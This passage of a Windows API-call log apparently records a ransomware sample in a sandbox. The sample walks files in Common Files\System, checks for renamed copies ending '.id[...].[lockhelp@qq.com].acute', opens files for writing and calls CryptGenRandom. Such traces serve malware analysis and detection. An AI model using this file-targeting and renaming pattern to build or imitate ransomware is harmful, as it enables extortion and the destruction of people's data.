returned 0xffffffff [0274.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.281] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.281] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=44032) returned 1 [0274.281] CloseHandle (hObject=0x310) returned 1 [0274.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui")) returned 0x20 [0274.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.282] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.282] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=17920) returned 1 [0274.282] CloseHandle (hObject=0x310) returned 1 [0274.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui")) returned 0x20 [0274.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.282] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.283] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=126976) returned 1 [0274.283] CloseHandle (hObject=0x310) returned 1 [0274.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll")) returned 0x20 [0274.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.283] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.284] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=434176) returned 1 [0274.284] CloseHandle (hObject=0x310) returned 1 [0274.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll")) returned 0x20 [0274.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.284] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.284] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=745472) returned 1 [0274.284] CloseHandle (hObject=0x310) returned 1 [0274.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll")) returned 0x20 [0274.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.285] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.285] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=61440) returned 1 [0274.285] CloseHandle (hObject=0x310) returned 1 [0274.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll")) returned 0x20 [0274.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.285] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.285] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=131072) returned 1 [0274.285] CloseHandle (hObject=0x310) returned 1 [0274.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll")) returned 0x20 [0274.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.285] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.286] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=36864) returned 1 [0274.286] CloseHandle (hObject=0x310) returned 1 [0274.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll")) returned 0x20 [0274.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.286] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.287] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=1101824) returned 1 [0274.287] CloseHandle (hObject=0x310) returned 1 [0274.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll")) returned 0x20 [0274.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.287] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.287] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=81920) returned 1 [0274.287] CloseHandle (hObject=0x310) returned 1 [0274.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll")) returned 0x20 [0274.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.287] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.287] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=1212416) returned 1 [0274.287] CloseHandle (hObject=0x310) returned 1 [0274.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll")) returned 0x20 [0274.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.288] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.288] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=16384) returned 1 [0274.288] CloseHandle (hObject=0x310) returned 1 [0274.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll")) returned 0x20 [0274.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.288] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.288] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=364544) returned 1 [0274.288] CloseHandle (hObject=0x310) returned 1 [0274.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll")) returned 0x20 [0274.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.288] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0274.289] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=8192) returned 1 [0274.289] CloseHandle (hObject=0x310) returned 1 [0274.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll")) returned 0x20 [0274.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.289] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrw.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.290] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=282136) returned 1 [0274.290] CloseHandle (hObject=0x30c) returned 1 [0274.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrw.dll")) returned 0x20 [0274.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrw.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrw.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.290] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrwbin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.291] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=199192) returned 1 [0274.291] CloseHandle (hObject=0x30c) returned 1 [0274.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrwbin.dll")) returned 0x20 [0274.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrwbin.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\xmlrwbin.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\xmlrwbin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.291] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.291] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=886784) returned 1 [0274.291] CloseHandle (hObject=0x30c) returned 1 [0274.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll")) returned 0x20 [0274.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\wab32.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.291] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 1 [0274.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.291] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x401fce0 | out: lpFileSize=0x401fce0*=1098752) returned 1 [0274.291] CloseHandle (hObject=0x30c) returned 1 [0274.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll")) returned 0x20 [0274.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\system\\wab32res.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.294] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x401fd48 | out: pbBuffer=0x401fd48) returned 